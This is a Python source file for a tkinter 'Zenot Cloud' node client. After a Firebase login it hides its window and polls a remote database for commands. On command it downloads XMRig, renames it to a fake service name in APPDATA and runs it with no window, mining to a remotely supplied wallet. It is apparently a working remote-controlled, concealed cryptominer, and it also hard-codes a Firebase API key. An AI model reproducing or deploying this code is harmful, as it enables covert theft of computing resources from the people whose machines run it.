import tkinter as tk from tkinter import messagebox import requests, threading, time, os, subprocess, zipfile, shutil, socket # --- CẤU HÌNH --- API_KEY = "AIzaSyBrKWSjYj7x8gUKPXUyHKTidAFtOIa5ul4" DB_URL = "https://zunrdp-default-rtdb.asia-southeast1.firebasedatabase.app" MINER_URL = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip" FAKE_NAME = "ZenotService.exe" class ZenotWorker: def __init__(self, root): self.root = root self.root.title("Zenot Cloud V33") self.root.geometry("350x450") self.root.configure(bg="#050505") self.worker_id = socket.gethostname() self.uid = None self.current_coin = "IDLE" self.is_mining = False self.setup_ui() def setup_ui(self): tk.Label(self.root, text="ZENOT", font=("Arial", 28, "bold"), fg="#00f3ff", bg="#050505").pack(pady=40) self.e_mail = tk.Entry(self.root, width=30, bg="#111", fg="white", insertbackground="white") self.e_mail.pack(pady=10, ipady=5) self.e_mail.insert(0, "Email...") self.e_pass = tk.Entry(self.root, width=30, bg="#111", fg="white", show="*", insertbackground="white") self.e_pass.pack(pady=10, ipady=5) tk.Button(self.root, text="CONNECT NODE", bg="#bc13fe", fg="white", font=("Arial", 10, "bold"), relief="flat", width=20, command=self.login).pack(pady=30, ipady=8) def login(self): email = self.e_mail.get() pwd = self.e_pass.get() url = f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={API_KEY}" try: r = requests.post(url, json={"email":email, "password":pwd, "returnSecureToken":True}) d = r.json() if "localId" in d: self.uid = d["localId"] messagebox.showinfo("Zenot", "Node Connected!") self.root.withdraw() threading.Thread(target=self.background_loop, daemon=True).start() else: messagebox.showerror("Error", "Login Failed!") except: messagebox.showerror("Error", "Connection Error!") def background_loop(self): last_ts = 0 while True: try: # 1. Heartbeat requests.patch(f"{DB_URL}/users/{self.uid}/workers/{self.worker_id}.json", json={ "last_seen": int(time.time() * 1000), "coin": self.current_coin }) # 2. Listen Command r = requests.get(f"{DB_URL}/users/{self.uid}/workers/{self.worker_id}/command.json") cmd = r.json() if cmd and cmd.get("timestamp", 0) > last_ts: last_ts = cmd["timestamp"] if cmd["action"] == "START": self.start_miner(cmd["coin"], cmd["wallet"]) elif cmd["action"] == "STOP": self.stop_miner() time.sleep(5) except: time.sleep(10) def start_miner(self, coin, wallet): self.current_coin = coin work_dir = os.path.join(os.getenv('APPDATA'), 'ZenotV33') if not os.path.exists(work_dir): os.makedirs(work_dir) exe = os.path.join(work_dir, FAKE_NAME) if not os.path.exists(exe): r = requests.get(MINER_URL, stream=True) with open(os.path.join(work_dir, "p.zip"), 'wb') as f: for c in r.iter_content(1024): f.write(c) with zipfile.ZipFile(os.path.join(work_dir, "p.zip"), 'r') as z: z.extractall(work_dir) for root, _, fs in os.walk(work_dir): if "xmrig.exe" in fs: shutil.move(os.path.join(root, "xmrig.exe"), exe) self.stop_miner() args = [exe, '-o', 'rx.unmineable.com:3333', '-a', 'rx/0', '-k', '-u', f'{coin}:{wallet}.{self.worker_id}', '-p', 'x', '--background'] si = subprocess.STARTUPINFO() si.dwFlags |= subprocess.STARTF_USESHOWWINDOW subprocess.Popen(args, startupinfo=si, creationflags=subprocess.CREATE_NO_WINDOW) def stop_miner(self): self.current_coin = "IDLE" os.system(f"taskkill /f /im {FAKE_NAME}") if __name__ == "__main__": root = tk.Tk() app = ZenotWorker(root) root.mainloop()